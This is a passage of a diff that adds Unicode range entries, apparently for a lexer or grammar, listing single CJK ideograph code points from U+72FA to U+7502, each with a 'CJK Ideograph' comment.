+ ["\u72FA", "\u72FA"], /* CJK Ideograph */
+ ["\u72FB", "\u72FB"], /* CJK Ideograph */
+ ["\u72FC", "\u72FC"], /* CJK Ideograph */
+ ["\u72FD", "\u72FD"], /* CJK Ideograph */
+ ["\u72FE", "\u72FE"], /* CJK Ideograph */
+ ["\u72FF", "\u72FF"], /* CJK Ideograph */
+ ["\u7300", "\u7300"], /* CJK Ideograph */
+ ["\u7301", "\u7301"], /* CJK Ideograph */
+ ["\u7302", "\u7302"], /* CJK Ideograph */
+ ["\u7303", "\u7303"], /* CJK Ideograph */
+ ["\u7304", "\u7304"], /* CJK Ideograph */
+ ["\u7305", "\u7305"], /* CJK Ideograph */
+ ["\u7306", "\u7306"], /* CJK Ideograph */
+ ["\u7307", "\u7307"], /* CJK Ideograph */
+ ["\u7308", "\u7308"], /* CJK Ideograph */
+ ["\u7309", "\u7309"], /* CJK Ideograph */
+ ["\u730A", "\u730A"], /* CJK Ideograph */
+ ["\u730B", "\u730B"], /* CJK Ideograph */
+ ["\u730C", "\u730C"], /* CJK Ideograph */
+ ["\u730D", "\u730D"], /* CJK Ideograph */
+ ["\u730E", "\u730E"], /* CJK Ideograph */
+ ["\u730F", "\u730F"], /* CJK Ideograph */
+ ["\u7310", "\u7310"], /* CJK Ideograph */
+ ["\u7311", "\u7311"], /* CJK Ideograph */
+ ["\u7312", "\u7312"], /* CJK Ideograph */
+ ["\u7313", "\u7313"], /* CJK Ideograph */
+ ["\u7314", "\u7314"], /* CJK Ideograph */
+ ["\u7315", "\u7315"], /* CJK Ideograph */
+ ["\u7316", "\u7316"], /* CJK Ideograph */
+ ["\u7317", "\u7317"], /* CJK Ideograph */
+ ["\u7318", "\u7318"], /* CJK Ideograph */
+ ["\u7319", "\u7319"], /* CJK Ideograph */
+ ["\u731A", "\u731A"], /* CJK Ideograph */
+ ["\u731B", "\u731B"], /* CJK Ideograph */
+ ["\u731C", "\u731C"], /* CJK Ideograph */
+ ["\u731D", "\u731D"], /* CJK Ideograph */
+ ["\u731E", "\u731E"], /* CJK Ideograph */
+ ["\u731F", "\u731F"], /* CJK Ideograph */
+ ["\u7320", "\u7320"], /* CJK Ideograph */
+ ["\u7321", "\u7321"], /* CJK Ideograph */
+ ["\u7322", "\u7322"], /* CJK Ideograph */
+ ["\u7323", "\u7323"], /* CJK Ideograph */
+ ["\u7324", "\u7324"], /* CJK Ideograph */
+ ["\u7325", "\u7325"], /* CJK Ideograph */
+ ["\u7326", "\u7326"], /* CJK Ideograph */
+ ["\u7327", "\u7327"], /* CJK Ideograph */
+ ["\u7328", "\u7328"], /* CJK Ideograph */
+ ["\u7329", "\u7329"], /* CJK Ideograph */
+ ["\u732A", "\u732A"], /* CJK Ideograph */
+ ["\u732B", "\u732B"], /* CJK Ideograph */
+ ["\u732C", "\u732C"], /* CJK Ideograph */
+ ["\u732D", "\u732D"], /* CJK Ideograph */
+ ["\u732E", "\u732E"], /* CJK Ideograph */
+ ["\u732F", "\u732F"], /* CJK Ideograph */
+ ["\u7330", "\u7330"], /* CJK Ideograph */
+ ["\u7331", "\u7331"], /* CJK Ideograph */
+ ["\u7332", "\u7332"], /* CJK Ideograph */
+ ["\u7333", "\u7333"], /* CJK Ideograph */
+ ["\u7334", "\u7334"], /* CJK Ideograph */
+ ["\u7335", "\u7335"], /* CJK Ideograph */
+ ["\u7336", "\u7336"], /* CJK Ideograph */
+ ["\u7337", "\u7337"], /* CJK Ideograph */
+ ["\u7338", "\u7338"], /* CJK Ideograph */
+ ["\u7339", "\u7339"], /* CJK Ideograph */
+ ["\u733A", "\u733A"], /* CJK Ideograph */
+ ["\u733B", "\u733B"], /* CJK Ideograph */
+ ["\u733C", "\u733C"], /* CJK Ideograph */
+ ["\u733D", "\u733D"], /* CJK Ideograph */
+ ["\u733E", "\u733E"], /* CJK Ideograph */
+ ["\u733F", "\u733F"], /* CJK Ideograph */
+ ["\u7340", "\u7340"], /* CJK Ideograph */
+ ["\u7341", "\u7341"], /* CJK Ideograph */
+ ["\u7342", "\u7342"], /* CJK Ideograph */
+ ["\u7343", "\u7343"], /* CJK Ideograph */
+ ["\u7344", "\u7344"], /* CJK Ideograph */
+ ["\u7345", "\u7345"], /* CJK Ideograph */
+ ["\u7346", "\u7346"], /* CJK Ideograph */
+ ["\u7347", "\u7347"], /* CJK Ideograph */
+ ["\u7348", "\u7348"], /* CJK Ideograph */
+ ["\u7349", "\u7349"], /* CJK Ideograph */
+ ["\u734A", "\u734A"], /* CJK Ideograph */
+ ["\u734B", "\u734B"], /* CJK Ideograph */
+ ["\u734C", "\u734C"], /* CJK Ideograph */
+ ["\u734D", "\u734D"], /* CJK Ideograph */
+ ["\u734E", "\u734E"], /* CJK Ideograph */
+ ["\u734F", "\u734F"], /* CJK Ideograph */
+ ["\u7350", "\u7350"], /* CJK Ideograph */
+ ["\u7351", "\u7351"], /* CJK Ideograph */
+ ["\u7352", "\u7352"], /* CJK Ideograph */
+ ["\u7353", "\u7353"], /* CJK Ideograph */
+ ["\u7354", "\u7354"], /* CJK Ideograph */
+ ["\u7355", "\u7355"], /* CJK Ideograph */
+ ["\u7356", "\u7356"], /* CJK Ideograph */
+ ["\u7357", "\u7357"], /* CJK Ideograph */
+ ["\u7358", "\u7358"], /* CJK Ideograph */
+ ["\u7359", "\u7359"], /* CJK Ideograph */
+ ["\u735A", "\u735A"], /* CJK Ideograph */
+ ["\u735B", "\u735B"], /* CJK Ideograph */
+ ["\u735C", "\u735C"], /* CJK Ideograph */
+ ["\u735D", "\u735D"], /* CJK Ideograph */
+ ["\u735E", "\u735E"], /* CJK Ideograph */
+ ["\u735F", "\u735F"], /* CJK Ideograph */
+ ["\u7360", "\u7360"], /* CJK Ideograph */
+ ["\u7361", "\u7361"], /* CJK Ideograph */
+ ["\u7362", "\u7362"], /* CJK Ideograph */
+ ["\u7363", "\u7363"], /* CJK Ideograph */
+ ["\u7364", "\u7364"], /* CJK Ideograph */
+ ["\u7365", "\u7365"], /* CJK Ideograph */
+ ["\u7366", "\u7366"], /* CJK Ideograph */
+ ["\u7367", "\u7367"], /* CJK Ideograph */
+ ["\u7368", "\u7368"], /* CJK Ideograph */
+ ["\u7369", "\u7369"], /* CJK Ideograph */
+ ["\u736A", "\u736A"], /* CJK Ideograph */
+ ["\u736B", "\u736B"], /* CJK Ideograph */
+ ["\u736C", "\u736C"], /* CJK Ideograph */
+ ["\u736D", "\u736D"], /* CJK Ideograph */
+ ["\u736E", "\u736E"], /* CJK Ideograph */
+ ["\u736F", "\u736F"], /* CJK Ideograph */
+ ["\u7370", "\u7370"], /* CJK Ideograph */
+ ["\u7371", "\u7371"], /* CJK Ideograph */
+ ["\u7372", "\u7372"], /* CJK Ideograph */
+ ["\u7373", "\u7373"], /* CJK Ideograph */
+ ["\u7374", "\u7374"], /* CJK Ideograph */
+ ["\u7375", "\u7375"], /* CJK Ideograph */
+ ["\u7376", "\u7376"], /* CJK Ideograph */
+ ["\u7377", "\u7377"], /* CJK Ideograph */
+ ["\u7378", "\u7378"], /* CJK Ideograph */
+ ["\u7379", "\u7379"], /* CJK Ideograph */
+ ["\u737A", "\u737A"], /* CJK Ideograph */
+ ["\u737B", "\u737B"], /* CJK Ideograph */
+ ["\u737C", "\u737C"], /* CJK Ideograph */
+ ["\u737D", "\u737D"], /* CJK Ideograph */
+ ["\u737E", "\u737E"], /* CJK Ideograph */
+ ["\u737F", "\u737F"], /* CJK Ideograph */
+ ["\u7380", "\u7380"], /* CJK Ideograph */
+ ["\u7381", "\u7381"], /* CJK Ideograph */
+ ["\u7382", "\u7382"], /* CJK Ideograph */
+ ["\u7383", "\u7383"], /* CJK Ideograph */
+ ["\u7384", "\u7384"], /* CJK Ideograph */
+ ["\u7385", "\u7385"], /* CJK Ideograph */
+ ["\u7386", "\u7386"], /* CJK Ideograph */
+ ["\u7387", "\u7387"], /* CJK Ideograph */
+ ["\u7388", "\u7388"], /* CJK Ideograph */
+ ["\u7389", "\u7389"], /* CJK Ideograph */
+ ["\u738A", "\u738A"], /* CJK Ideograph */
+ ["\u738B", "\u738B"], /* CJK Ideograph */
+ ["\u738C", "\u738C"], /* CJK Ideograph */
+ ["\u738D", "\u738D"], /* CJK Ideograph */
+ ["\u738E", "\u738E"], /* CJK Ideograph */
+ ["\u738F", "\u738F"], /* CJK Ideograph */
+ ["\u7390", "\u7390"], /* CJK Ideograph */
+ ["\u7391", "\u7391"], /* CJK Ideograph */
+ ["\u7392", "\u7392"], /* CJK Ideograph */
+ ["\u7393", "\u7393"], /* CJK Ideograph */
+ ["\u7394", "\u7394"], /* CJK Ideograph */
+ ["\u7395", "\u7395"], /* CJK Ideograph */
+ ["\u7396", "\u7396"], /* CJK Ideograph */
+ ["\u7397", "\u7397"], /* CJK Ideograph */
+ ["\u7398", "\u7398"], /* CJK Ideograph */
+ ["\u7399", "\u7399"], /* CJK Ideograph */
+ ["\u739A", "\u739A"], /* CJK Ideograph */
+ ["\u739B", "\u739B"], /* CJK Ideograph */
+ ["\u739C", "\u739C"], /* CJK Ideograph */
+ ["\u739D", "\u739D"], /* CJK Ideograph */
+ ["\u739E", "\u739E"], /* CJK Ideograph */
+ ["\u739F", "\u739F"], /* CJK Ideograph */
+ ["\u73A0", "\u73A0"], /* CJK Ideograph */
+ ["\u73A1", "\u73A1"], /* CJK Ideograph */
+ ["\u73A2", "\u73A2"], /* CJK Ideograph */
+ ["\u73A3", "\u73A3"], /* CJK Ideograph */
+ ["\u73A4", "\u73A4"], /* CJK Ideograph */
+ ["\u73A5", "\u73A5"], /* CJK Ideograph */
+ ["\u73A6", "\u73A6"], /* CJK Ideograph */
+ ["\u73A7", "\u73A7"], /* CJK Ideograph */
+ ["\u73A8", "\u73A8"], /* CJK Ideograph */
+ ["\u73A9", "\u73A9"], /* CJK Ideograph */
+ ["\u73AA", "\u73AA"], /* CJK Ideograph */
+ ["\u73AB", "\u73AB"], /* CJK Ideograph */
+ ["\u73AC", "\u73AC"], /* CJK Ideograph */
+ ["\u73AD", "\u73AD"], /* CJK Ideograph */
+ ["\u73AE", "\u73AE"], /* CJK Ideograph */
+ ["\u73AF", "\u73AF"], /* CJK Ideograph */
+ ["\u73B0", "\u73B0"], /* CJK Ideograph */
+ ["\u73B1", "\u73B1"], /* CJK Ideograph */
+ ["\u73B2", "\u73B2"], /* CJK Ideograph */
+ ["\u73B3", "\u73B3"], /* CJK Ideograph */
+ ["\u73B4", "\u73B4"], /* CJK Ideograph */
+ ["\u73B5", "\u73B5"], /* CJK Ideograph */
+ ["\u73B6", "\u73B6"], /* CJK Ideograph */
+ ["\u73B7", "\u73B7"], /* CJK Ideograph */
+ ["\u73B8", "\u73B8"], /* CJK Ideograph */
+ ["\u73B9", "\u73B9"], /* CJK Ideograph */
+ ["\u73BA", "\u73BA"], /* CJK Ideograph */
+ ["\u73BB", "\u73BB"], /* CJK Ideograph */
+ ["\u73BC", "\u73BC"], /* CJK Ideograph */
+ ["\u73BD", "\u73BD"], /* CJK Ideograph */
+ ["\u73BE", "\u73BE"], /* CJK Ideograph */
+ ["\u73BF", "\u73BF"], /* CJK Ideograph */
+ ["\u73C0", "\u73C0"], /* CJK Ideograph */
+ ["\u73C1", "\u73C1"], /* CJK Ideograph */
+ ["\u73C2", "\u73C2"], /* CJK Ideograph */
+ ["\u73C3", "\u73C3"], /* CJK Ideograph */
+ ["\u73C4", "\u73C4"], /* CJK Ideograph */
+ ["\u73C5", "\u73C5"], /* CJK Ideograph */
+ ["\u73C6", "\u73C6"], /* CJK Ideograph */
+ ["\u73C7", "\u73C7"], /* CJK Ideograph */
+ ["\u73C8", "\u73C8"], /* CJK Ideograph */
+ ["\u73C9", "\u73C9"], /* CJK Ideograph */
+ ["\u73CA", "\u73CA"], /* CJK Ideograph */
+ ["\u73CB", "\u73CB"], /* CJK Ideograph */
+ ["\u73CC", "\u73CC"], /* CJK Ideograph */
+ ["\u73CD", "\u73CD"], /* CJK Ideograph */
+ ["\u73CE", "\u73CE"], /* CJK Ideograph */
+ ["\u73CF", "\u73CF"], /* CJK Ideograph */
+ ["\u73D0", "\u73D0"], /* CJK Ideograph */
+ ["\u73D1", "\u73D1"], /* CJK Ideograph */
+ ["\u73D2", "\u73D2"], /* CJK Ideograph */
+ ["\u73D3", "\u73D3"], /* CJK Ideograph */
+ ["\u73D4", "\u73D4"], /* CJK Ideograph */
+ ["\u73D5", "\u73D5"], /* CJK Ideograph */
+ ["\u73D6", "\u73D6"], /* CJK Ideograph */
+ ["\u73D7", "\u73D7"], /* CJK Ideograph */
+ ["\u73D8", "\u73D8"], /* CJK Ideograph */
+ ["\u73D9", "\u73D9"], /* CJK Ideograph */
+ ["\u73DA", "\u73DA"], /* CJK Ideograph */
+ ["\u73DB", "\u73DB"], /* CJK Ideograph */
+ ["\u73DC", "\u73DC"], /* CJK Ideograph */
+ ["\u73DD", "\u73DD"], /* CJK Ideograph */
+ ["\u73DE", "\u73DE"], /* CJK Ideograph */
+ ["\u73DF", "\u73DF"], /* CJK Ideograph */
+ ["\u73E0", "\u73E0"], /* CJK Ideograph */
+ ["\u73E1", "\u73E1"], /* CJK Ideograph */
+ ["\u73E2", "\u73E2"], /* CJK Ideograph */
+ ["\u73E3", "\u73E3"], /* CJK Ideograph */
+ ["\u73E4", "\u73E4"], /* CJK Ideograph */
+ ["\u73E5", "\u73E5"], /* CJK Ideograph */
+ ["\u73E6", "\u73E6"], /* CJK Ideograph */
+ ["\u73E7", "\u73E7"], /* CJK Ideograph */
+ ["\u73E8", "\u73E8"], /* CJK Ideograph */
+ ["\u73E9", "\u73E9"], /* CJK Ideograph */
+ ["\u73EA", "\u73EA"], /* CJK Ideograph */
+ ["\u73EB", "\u73EB"], /* CJK Ideograph */
+ ["\u73EC", "\u73EC"], /* CJK Ideograph */
+ ["\u73ED", "\u73ED"], /* CJK Ideograph */
+ ["\u73EE", "\u73EE"], /* CJK Ideograph */
+ ["\u73EF", "\u73EF"], /* CJK Ideograph */
+ ["\u73F0", "\u73F0"], /* CJK Ideograph */
+ ["\u73F1", "\u73F1"], /* CJK Ideograph */
+ ["\u73F2", "\u73F2"], /* CJK Ideograph */
+ ["\u73F3", "\u73F3"], /* CJK Ideograph */
+ ["\u73F4", "\u73F4"], /* CJK Ideograph */
+ ["\u73F5", "\u73F5"], /* CJK Ideograph */
+ ["\u73F6", "\u73F6"], /* CJK Ideograph */
+ ["\u73F7", "\u73F7"], /* CJK Ideograph */
+ ["\u73F8", "\u73F8"], /* CJK Ideograph */
+ ["\u73F9", "\u73F9"], /* CJK Ideograph */
+ ["\u73FA", "\u73FA"], /* CJK Ideograph */
+ ["\u73FB", "\u73FB"], /* CJK Ideograph */
+ ["\u73FC", "\u73FC"], /* CJK Ideograph */
+ ["\u73FD", "\u73FD"], /* CJK Ideograph */
+ ["\u73FE", "\u73FE"], /* CJK Ideograph */
+ ["\u73FF", "\u73FF"], /* CJK Ideograph */
+ ["\u7400", "\u7400"], /* CJK Ideograph */
+ ["\u7401", "\u7401"], /* CJK Ideograph */
+ ["\u7402", "\u7402"], /* CJK Ideograph */
+ ["\u7403", "\u7403"], /* CJK Ideograph */
+ ["\u7404", "\u7404"], /* CJK Ideograph */
+ ["\u7405", "\u7405"], /* CJK Ideograph */
+ ["\u7406", "\u7406"], /* CJK Ideograph */
+ ["\u7407", "\u7407"], /* CJK Ideograph */
+ ["\u7408", "\u7408"], /* CJK Ideograph */
+ ["\u7409", "\u7409"], /* CJK Ideograph */
+ ["\u740A", "\u740A"], /* CJK Ideograph */
+ ["\u740B", "\u740B"], /* CJK Ideograph */
+ ["\u740C", "\u740C"], /* CJK Ideograph */
+ ["\u740D", "\u740D"], /* CJK Ideograph */
+ ["\u740E", "\u740E"], /* CJK Ideograph */
+ ["\u740F", "\u740F"], /* CJK Ideograph */
+ ["\u7410", "\u7410"], /* CJK Ideograph */
+ ["\u7411", "\u7411"], /* CJK Ideograph */
+ ["\u7412", "\u7412"], /* CJK Ideograph */
+ ["\u7413", "\u7413"], /* CJK Ideograph */
+ ["\u7414", "\u7414"], /* CJK Ideograph */
+ ["\u7415", "\u7415"], /* CJK Ideograph */
+ ["\u7416", "\u7416"], /* CJK Ideograph */
+ ["\u7417", "\u7417"], /* CJK Ideograph */
+ ["\u7418", "\u7418"], /* CJK Ideograph */
+ ["\u7419", "\u7419"], /* CJK Ideograph */
+ ["\u741A", "\u741A"], /* CJK Ideograph */
+ ["\u741B", "\u741B"], /* CJK Ideograph */
+ ["\u741C", "\u741C"], /* CJK Ideograph */
+ ["\u741D", "\u741D"], /* CJK Ideograph */
+ ["\u741E", "\u741E"], /* CJK Ideograph */
+ ["\u741F", "\u741F"], /* CJK Ideograph */
+ ["\u7420", "\u7420"], /* CJK Ideograph */
+ ["\u7421", "\u7421"], /* CJK Ideograph */
+ ["\u7422", "\u7422"], /* CJK Ideograph */
+ ["\u7423", "\u7423"], /* CJK Ideograph */
+ ["\u7424", "\u7424"], /* CJK Ideograph */
+ ["\u7425", "\u7425"], /* CJK Ideograph */
+ ["\u7426", "\u7426"], /* CJK Ideograph */
+ ["\u7427", "\u7427"], /* CJK Ideograph */
+ ["\u7428", "\u7428"], /* CJK Ideograph */
+ ["\u7429", "\u7429"], /* CJK Ideograph */
+ ["\u742A", "\u742A"], /* CJK Ideograph */
+ ["\u742B", "\u742B"], /* CJK Ideograph */
+ ["\u742C", "\u742C"], /* CJK Ideograph */
+ ["\u742D", "\u742D"], /* CJK Ideograph */
+ ["\u742E", "\u742E"], /* CJK Ideograph */
+ ["\u742F", "\u742F"], /* CJK Ideograph */
+ ["\u7430", "\u7430"], /* CJK Ideograph */
+ ["\u7431", "\u7431"], /* CJK Ideograph */
+ ["\u7432", "\u7432"], /* CJK Ideograph */
+ ["\u7433", "\u7433"], /* CJK Ideograph */
+ ["\u7434", "\u7434"], /* CJK Ideograph */
+ ["\u7435", "\u7435"], /* CJK Ideograph */
+ ["\u7436", "\u7436"], /* CJK Ideograph */
+ ["\u7437", "\u7437"], /* CJK Ideograph */
+ ["\u7438", "\u7438"], /* CJK Ideograph */
+ ["\u7439", "\u7439"], /* CJK Ideograph */
+ ["\u743A", "\u743A"], /* CJK Ideograph */
+ ["\u743B", "\u743B"], /* CJK Ideograph */
+ ["\u743C", "\u743C"], /* CJK Ideograph */
+ ["\u743D", "\u743D"], /* CJK Ideograph */
+ ["\u743E", "\u743E"], /* CJK Ideograph */
+ ["\u743F", "\u743F"], /* CJK Ideograph */
+ ["\u7440", "\u7440"], /* CJK Ideograph */
+ ["\u7441", "\u7441"], /* CJK Ideograph */
+ ["\u7442", "\u7442"], /* CJK Ideograph */
+ ["\u7443", "\u7443"], /* CJK Ideograph */
+ ["\u7444", "\u7444"], /* CJK Ideograph */
+ ["\u7445", "\u7445"], /* CJK Ideograph */
+ ["\u7446", "\u7446"], /* CJK Ideograph */
+ ["\u7447", "\u7447"], /* CJK Ideograph */
+ ["\u7448", "\u7448"], /* CJK Ideograph */
+ ["\u7449", "\u7449"], /* CJK Ideograph */
+ ["\u744A", "\u744A"], /* CJK Ideograph */
+ ["\u744B", "\u744B"], /* CJK Ideograph */
+ ["\u744C", "\u744C"], /* CJK Ideograph */
+ ["\u744D", "\u744D"], /* CJK Ideograph */
+ ["\u744E", "\u744E"], /* CJK Ideograph */
+ ["\u744F", "\u744F"], /* CJK Ideograph */
+ ["\u7450", "\u7450"], /* CJK Ideograph */
+ ["\u7451", "\u7451"], /* CJK Ideograph */
+ ["\u7452", "\u7452"], /* CJK Ideograph */
+ ["\u7453", "\u7453"], /* CJK Ideograph */
+ ["\u7454", "\u7454"], /* CJK Ideograph */
+ ["\u7455", "\u7455"], /* CJK Ideograph */
+ ["\u7456", "\u7456"], /* CJK Ideograph */
+ ["\u7457", "\u7457"], /* CJK Ideograph */
+ ["\u7458", "\u7458"], /* CJK Ideograph */
+ ["\u7459", "\u7459"], /* CJK Ideograph */
+ ["\u745A", "\u745A"], /* CJK Ideograph */
+ ["\u745B", "\u745B"], /* CJK Ideograph */
+ ["\u745C", "\u745C"], /* CJK Ideograph */
+ ["\u745D", "\u745D"], /* CJK Ideograph */
+ ["\u745E", "\u745E"], /* CJK Ideograph */
+ ["\u745F", "\u745F"], /* CJK Ideograph */
+ ["\u7460", "\u7460"], /* CJK Ideograph */
+ ["\u7461", "\u7461"], /* CJK Ideograph */
+ ["\u7462", "\u7462"], /* CJK Ideograph */
+ ["\u7463", "\u7463"], /* CJK Ideograph */
+ ["\u7464", "\u7464"], /* CJK Ideograph */
+ ["\u7465", "\u7465"], /* CJK Ideograph */
+ ["\u7466", "\u7466"], /* CJK Ideograph */
+ ["\u7467", "\u7467"], /* CJK Ideograph */
+ ["\u7468", "\u7468"], /* CJK Ideograph */
+ ["\u7469", "\u7469"], /* CJK Ideograph */
+ ["\u746A", "\u746A"], /* CJK Ideograph */
+ ["\u746B", "\u746B"], /* CJK Ideograph */
+ ["\u746C", "\u746C"], /* CJK Ideograph */
+ ["\u746D", "\u746D"], /* CJK Ideograph */
+ ["\u746E", "\u746E"], /* CJK Ideograph */
+ ["\u746F", "\u746F"], /* CJK Ideograph */
+ ["\u7470", "\u7470"], /* CJK Ideograph */
+ ["\u7471", "\u7471"], /* CJK Ideograph */
+ ["\u7472", "\u7472"], /* CJK Ideograph */
+ ["\u7473", "\u7473"], /* CJK Ideograph */
+ ["\u7474", "\u7474"], /* CJK Ideograph */
+ ["\u7475", "\u7475"], /* CJK Ideograph */
+ ["\u7476", "\u7476"], /* CJK Ideograph */
+ ["\u7477", "\u7477"], /* CJK Ideograph */
+ ["\u7478", "\u7478"], /* CJK Ideograph */
+ ["\u7479", "\u7479"], /* CJK Ideograph */
+ ["\u747A", "\u747A"], /* CJK Ideograph */
+ ["\u747B", "\u747B"], /* CJK Ideograph */
+ ["\u747C", "\u747C"], /* CJK Ideograph */
+ ["\u747D", "\u747D"], /* CJK Ideograph */
+ ["\u747E", "\u747E"], /* CJK Ideograph */
+ ["\u747F", "\u747F"], /* CJK Ideograph */
+ ["\u7480", "\u7480"], /* CJK Ideograph */
+ ["\u7481", "\u7481"], /* CJK Ideograph */
+ ["\u7482", "\u7482"], /* CJK Ideograph */
+ ["\u7483", "\u7483"], /* CJK Ideograph */
+ ["\u7484", "\u7484"], /* CJK Ideograph */
+ ["\u7485", "\u7485"], /* CJK Ideograph */
+ ["\u7486", "\u7486"], /* CJK Ideograph */
+ ["\u7487", "\u7487"], /* CJK Ideograph */
+ ["\u7488", "\u7488"], /* CJK Ideograph */
+ ["\u7489", "\u7489"], /* CJK Ideograph */
+ ["\u748A", "\u748A"], /* CJK Ideograph */
+ ["\u748B", "\u748B"], /* CJK Ideograph */
+ ["\u748C", "\u748C"], /* CJK Ideograph */
+ ["\u748D", "\u748D"], /* CJK Ideograph */
+ ["\u748E", "\u748E"], /* CJK Ideograph */
+ ["\u748F", "\u748F"], /* CJK Ideograph */
+ ["\u7490", "\u7490"], /* CJK Ideograph */
+ ["\u7491", "\u7491"], /* CJK Ideograph */
+ ["\u7492", "\u7492"], /* CJK Ideograph */
+ ["\u7493", "\u7493"], /* CJK Ideograph */
+ ["\u7494", "\u7494"], /* CJK Ideograph */
+ ["\u7495", "\u7495"], /* CJK Ideograph */
+ ["\u7496", "\u7496"], /* CJK Ideograph */
+ ["\u7497", "\u7497"], /* CJK Ideograph */
+ ["\u7498", "\u7498"], /* CJK Ideograph */
+ ["\u7499", "\u7499"], /* CJK Ideograph */
+ ["\u749A", "\u749A"], /* CJK Ideograph */
+ ["\u749B", "\u749B"], /* CJK Ideograph */
+ ["\u749C", "\u749C"], /* CJK Ideograph */
+ ["\u749D", "\u749D"], /* CJK Ideograph */
+ ["\u749E", "\u749E"], /* CJK Ideograph */
+ ["\u749F", "\u749F"], /* CJK Ideograph */
+ ["\u74A0", "\u74A0"], /* CJK Ideograph */
+ ["\u74A1", "\u74A1"], /* CJK Ideograph */
+ ["\u74A2", "\u74A2"], /* CJK Ideograph */
+ ["\u74A3", "\u74A3"], /* CJK Ideograph */
+ ["\u74A4", "\u74A4"], /* CJK Ideograph */
+ ["\u74A5", "\u74A5"], /* CJK Ideograph */
+ ["\u74A6", "\u74A6"], /* CJK Ideograph */
+ ["\u74A7", "\u74A7"], /* CJK Ideograph */
+ ["\u74A8", "\u74A8"], /* CJK Ideograph */
+ ["\u74A9", "\u74A9"], /* CJK Ideograph */
+ ["\u74AA", "\u74AA"], /* CJK Ideograph */
+ ["\u74AB", "\u74AB"], /* CJK Ideograph */
+ ["\u74AC", "\u74AC"], /* CJK Ideograph */
+ ["\u74AD", "\u74AD"], /* CJK Ideograph */
+ ["\u74AE", "\u74AE"], /* CJK Ideograph */
+ ["\u74AF", "\u74AF"], /* CJK Ideograph */
+ ["\u74B0", "\u74B0"], /* CJK Ideograph */
+ ["\u74B1", "\u74B1"], /* CJK Ideograph */
+ ["\u74B2", "\u74B2"], /* CJK Ideograph */
+ ["\u74B3", "\u74B3"], /* CJK Ideograph */
+ ["\u74B4", "\u74B4"], /* CJK Ideograph */
+ ["\u74B5", "\u74B5"], /* CJK Ideograph */
+ ["\u74B6", "\u74B6"], /* CJK Ideograph */
+ ["\u74B7", "\u74B7"], /* CJK Ideograph */
+ ["\u74B8", "\u74B8"], /* CJK Ideograph */
+ ["\u74B9", "\u74B9"], /* CJK Ideograph */
+ ["\u74BA", "\u74BA"], /* CJK Ideograph */
+ ["\u74BB", "\u74BB"], /* CJK Ideograph */
+ ["\u74BC", "\u74BC"], /* CJK Ideograph */
+ ["\u74BD", "\u74BD"], /* CJK Ideograph */
+ ["\u74BE", "\u74BE"], /* CJK Ideograph */
+ ["\u74BF", "\u74BF"], /* CJK Ideograph */
+ ["\u74C0", "\u74C0"], /* CJK Ideograph */
+ ["\u74C1", "\u74C1"], /* CJK Ideograph */
+ ["\u74C2", "\u74C2"], /* CJK Ideograph */
+ ["\u74C3", "\u74C3"], /* CJK Ideograph */
+ ["\u74C4", "\u74C4"], /* CJK Ideograph */
+ ["\u74C5", "\u74C5"], /* CJK Ideograph */
+ ["\u74C6", "\u74C6"], /* CJK Ideograph */
+ ["\u74C7", "\u74C7"], /* CJK Ideograph */
+ ["\u74C8", "\u74C8"], /* CJK Ideograph */
+ ["\u74C9", "\u74C9"], /* CJK Ideograph */
+ ["\u74CA", "\u74CA"], /* CJK Ideograph */
+ ["\u74CB", "\u74CB"], /* CJK Ideograph */
+ ["\u74CC", "\u74CC"], /* CJK Ideograph */
+ ["\u74CD", "\u74CD"], /* CJK Ideograph */
+ ["\u74CE", "\u74CE"], /* CJK Ideograph */
+ ["\u74CF", "\u74CF"], /* CJK Ideograph */
+ ["\u74D0", "\u74D0"], /* CJK Ideograph */
+ ["\u74D1", "\u74D1"], /* CJK Ideograph */
+ ["\u74D2", "\u74D2"], /* CJK Ideograph */
+ ["\u74D3", "\u74D3"], /* CJK Ideograph */
+ ["\u74D4", "\u74D4"], /* CJK Ideograph */
+ ["\u74D5", "\u74D5"], /* CJK Ideograph */
+ ["\u74D6", "\u74D6"], /* CJK Ideograph */
+ ["\u74D7", "\u74D7"], /* CJK Ideograph */
+ ["\u74D8", "\u74D8"], /* CJK Ideograph */
+ ["\u74D9", "\u74D9"], /* CJK Ideograph */
+ ["\u74DA", "\u74DA"], /* CJK Ideograph */
+ ["\u74DB", "\u74DB"], /* CJK Ideograph */
+ ["\u74DC", "\u74DC"], /* CJK Ideograph */
+ ["\u74DD", "\u74DD"], /* CJK Ideograph */
+ ["\u74DE", "\u74DE"], /* CJK Ideograph */
+ ["\u74DF", "\u74DF"], /* CJK Ideograph */
+ ["\u74E0", "\u74E0"], /* CJK Ideograph */
+ ["\u74E1", "\u74E1"], /* CJK Ideograph */
+ ["\u74E2", "\u74E2"], /* CJK Ideograph */
+ ["\u74E3", "\u74E3"], /* CJK Ideograph */
+ ["\u74E4", "\u74E4"], /* CJK Ideograph */
+ ["\u74E5", "\u74E5"], /* CJK Ideograph */
+ ["\u74E6", "\u74E6"], /* CJK Ideograph */
+ ["\u74E7", "\u74E7"], /* CJK Ideograph */
+ ["\u74E8", "\u74E8"], /* CJK Ideograph */
+ ["\u74E9", "\u74E9"], /* CJK Ideograph */
+ ["\u74EA", "\u74EA"], /* CJK Ideograph */
+ ["\u74EB", "\u74EB"], /* CJK Ideograph */
+ ["\u74EC", "\u74EC"], /* CJK Ideograph */
+ ["\u74ED", "\u74ED"], /* CJK Ideograph */
+ ["\u74EE", "\u74EE"], /* CJK Ideograph */
+ ["\u74EF", "\u74EF"], /* CJK Ideograph */
+ ["\u74F0", "\u74F0"], /* CJK Ideograph */
+ ["\u74F1", "\u74F1"], /* CJK Ideograph */
+ ["\u74F2", "\u74F2"], /* CJK Ideograph */
+ ["\u74F3", "\u74F3"], /* CJK Ideograph */
+ ["\u74F4", "\u74F4"], /* CJK Ideograph */
+ ["\u74F5", "\u74F5"], /* CJK Ideograph */
+ ["\u74F6", "\u74F6"], /* CJK Ideograph */
+ ["\u74F7", "\u74F7"], /* CJK Ideograph */
+ ["\u74F8", "\u74F8"], /* CJK Ideograph */
+ ["\u74F9", "\u74F9"], /* CJK Ideograph */
+ ["\u74FA", "\u74FA"], /* CJK Ideograph */
+ ["\u74FB", "\u74FB"], /* CJK Ideograph */
+ ["\u74FC", "\u74FC"], /* CJK Ideograph */
+ ["\u74FD", "\u74FD"], /* CJK Ideograph */
+ ["\u74FE", "\u74FE"], /* CJK Ideograph */
+ ["\u74FF", "\u74FF"], /* CJK Ideograph */
+ ["\u7500", "\u7500"], /* CJK Ideograph */
+ ["\u7501", "\u7501"], /* CJK Ideograph */
+ ["\u7502", "\u7502"], /* CJK Ideograph */
